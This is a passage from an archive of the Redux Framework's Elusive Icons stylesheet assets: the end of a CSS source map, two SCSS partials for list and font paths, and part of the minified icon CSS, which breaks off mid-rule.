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", "sources": ["elusive-icons.scss","_path.scss","_core.scss","_larger.scss","_fixed-width.scss","_list.scss","_variables.scss","_bordered-pulled.scss","_animated.scss","_rotated-flipped.scss","_mixins.scss","_stacked.scss","_icons.scss"], "names": [], "file": "elusive-icons.css" }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/_list.scss�������������������������������������0000644�����������������00000000572�14720701300�0021022 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������// List Icons // ------------------------- .#{$el-css-prefix}-ul { padding-left: 0; margin-left: $el-li-width; list-style-type: none; > li { position: relative; } } .#{$el-css-prefix}-li { position: absolute; left: -$el-li-width; width: $el-li-width; top: (2em / 14); text-align: center; &.#{$el-css-prefix}-lg { left: -$el-li-width + (4em / 14); } } ��������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/_path.scss�������������������������������������0000644�����������������00000001267�14720701300�0021005 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* FONT PATH * -------------------------- */ @font-face { font-family: 'Elusive-Icons'; src: url('#{$el-font-path}/elusiveicons-webfont.eot?v=#{$el-version}'); src: url('#{$el-font-path}/elusiveicons-webfont.eot?#iefix&v=#{$el-version}') format('embedded-opentype'), //url('#{$el-font-path}/elusiveicons-webfont.woff2?v=#{$el-version}') format('woff2'), url('#{$el-font-path}/elusiveicons-webfont.woff?v=#{$el-version}') format('woff'), url('#{$el-font-path}/elusiveicons-webfont.ttf?v=#{$el-version}') format('truetype'), url('#{$el-font-path}/elusiveicons-webfont.svg?v=#{$el-version}#elusiveiconsregular') format('svg'); font-weight: normal; font-style: normal; } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/elusive-icons.css������������������������������0000644�����������������00000051256�14720701300�0022317 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������@charset "UTF-8";/*! * Elusive Icons 2.0.0 by @ReduxFramework - http://elusiveicons.com - @reduxframework * License - http://elusiveicons.com/license (Font: SIL OFL 1.1, CSS: MIT License) */@font-face{font-family:'Elusive-Icons';src:url("fonts/elusiveicons-webfont.eot?v=2.0.0");src:url("fonts/elusiveicons-webfont.eot?#iefix&v=2.0.0") format("embedded-opentype"),url("fonts/elusiveicons-webfont.woff?v=2.0.0") format("woff"),url("fonts/elusiveicons-webfont.ttf?v=2.0.0") format("truetype"),url("fonts/elusiveicons-webfont.svg?v=2.0.0#elusiveiconsregular") format("svg");font-weight:normal;font-style:normal}.el{display:inline-block;font:normal normal normal 14px/1 "Elusive-Icons";font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;transform:translate(0,0)}.el-lg{font-size:1.33333em;line-height:.75em;vertical-align:-15%}.el-2x{font-size:2em}.el-3x{font-size:3em}.el-4x{font-size:4em}.el-5x{font-size:5em}.el-fw{width:1.28571em;text-align:center}.el-ul{padding-left:0;margin-left:2.14286em;list-style-type:none}.el-ul>li{position:relative}.el-li{position:absolute;left:-2.14286em;width:2.14286em;top:.14286em;text-align:center}.el-li.el-lg{left:-1.85714em}.el-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.pull-right{float:right}.pull-left{float:left}.el.pull-left{margin-right:.3em}.el.pull-right{margin-left:.3em}.el-spin{-webkit-animation:el-spin 2s infinite linear;animation:el-spin 2s infinite linear}.el-pulse{-webkit-animation:el-spin 1s infinite steps(8);animation:el-spin 1s infinite steps(8)}@-webkit-keyframes el-spin{0{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes el-spin{0{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.el-rotate-90{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=1);-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.el-rotate-180{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.el-rotate-270{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=3);-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.el-flip-horizontal{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=0);-webkit-transform:scale(-1,1);-ms-transform:scale(-1,1);transform:scale(-1,1)}.el-flip-vertical{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:scale(1,-1);-ms-transform:scale(1,-1);transform:scale(1,-1)}:root .el-rotate-90,:root .el-rotate-180,:root .el-rotate-270,:root .el-flip-horizontal,:root .el-flip-vertical{filter:none}.el-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.el-stack-1x,.el-stack-2x{position:absolute;left:0;width:100%;text-align:center}.el-stack-1x{line-height:inherit}.el-stack-2x{font-size:2em}.el-inverse{color:#fff}.el-icon-address-book-alt:before,.el-address-book-alt:before{content:""}.el-icon-address-book:before,.el-address-book:before{content:""}.el-icon-adjust-alt:before,.el-adjust-alt:before{content:""}.el-icon-adjust:before,.el-adjust:before{content:""}.el-icon-adult:before,.el-adult:before{content:""}.el-icon-align-center:before,.el-align-center:before{content:""}.el-icon-align-justify:before,.el-align-justify:before{content:""}.el-icon-align-left:before,.el-align-left:before{content:""}.el-icon-align-right:before,.el-align-right:before{content:""}.el-icon-arrow-down:before,.el-arrow-down:before{content:""}.el-icon-arrow-left:before,.el-arrow-left:before{content:""}.el-icon-arrow-right:before,.el-arrow-right:before{content:""}.el-icon-arrow-up:before,.el-arrow-up:before{content:""}.el-icon-asl:before,.el-asl:before{content:""}.el-icon-asterisk:before,.el-asterisk:before{content:""}.el-icon-backward:before,.el-backward:before{content:""}.el-icon-ban-circle:before,.el-ban-circle:before{content:""}.el-icon-barcode:before,.el-barcode:before{content:""}.el-icon-behance:before,.el-behance:before{content:""}.el-icon-bell:before,.el-bell:before{content:""}.el-icon-blind:before,.el-blind:before{content:""}.el-icon-blogger:before,.el-blogger:before{content:""}.el-icon-bold:before,.el-bold:before{content:""}.el-icon-book:before,.el-book:before{content:""}.el-icon-bookmark-empty:before,.el-bookmark-empty:before{content:""}.el-icon-bookmark:before,.el-bookmark:before{content:""}.el-icon-brackets:before,.el-brackets:before{content:""}.el-icon-braille:before,.el-braille:before{content:""}.el-icon-briefcase:before,.el-briefcase:before{content:""}.el-icon-broom:before,.el-broom:before{content:""}.el-icon-brush:before,.el-brush:before{content:""}.el-icon-bulb:before,.el-bulb:before{content:""}.el-icon-bullhorn:before,.el-bullhorn:before{content:""}.el-icon-calendar-sign:before,.el-calendar-sign:before{content:""}.el-icon-calendar:before,.el-calendar:before{content:""}.el-icon-camera:before,.el-camera:before{content:""}.el-icon-car:before,.el-car:before{content:""}.el-icon-caret-down:before,.el-caret-down:before{content:""}.el-icon-caret-left:before,.el-caret-left:before{content:""}.el-icon-caret-right:before,.el-caret-right:before{content:""}.el-icon-caret-up:before,.el-caret-up:before{content:""}.el-icon-cc:before,.el-cc:before{content:""}.el-icon-certificate:before,.el-certificate:before{content:""}.el-icon-check-empty:before,.el-check-empty:before{content:""}.el-icon-check:before,.el-check:before{content:""}.el-icon-chevron-down:before,.el-chevron-down:before{content:""}.el-icon-chevron-left:before,.el-chevron-left:before{content:""}.el-icon-chevron-right:before,.el-chevron-right:before{content:""}.el-icon-chevron-up:before,.el-chevron-up:before{content:""}.el-icon-child:before,.el-child:before{content:""}.el-icon-circle-arrow-down:before,.el-circle-arrow-down:before{content:""}.el-icon-circle-arrow-left:before,.el-circle-arrow-left:before{content:""}.el-icon-circle-arrow-right:before,.el-circle-arrow-right:before{content:""}.el-icon-circle-arrow-up:before,.el-circle-arrow-up:before{content:""}.el-icon-cloud-alt:before,.el-cloud-alt:before{content:""}.el-icon-cloud:before,.el-cloud:before{content:""}.el-icon-cog-alt:before,.el-cog-alt:before{content:""}.el-icon-cog:before,.el-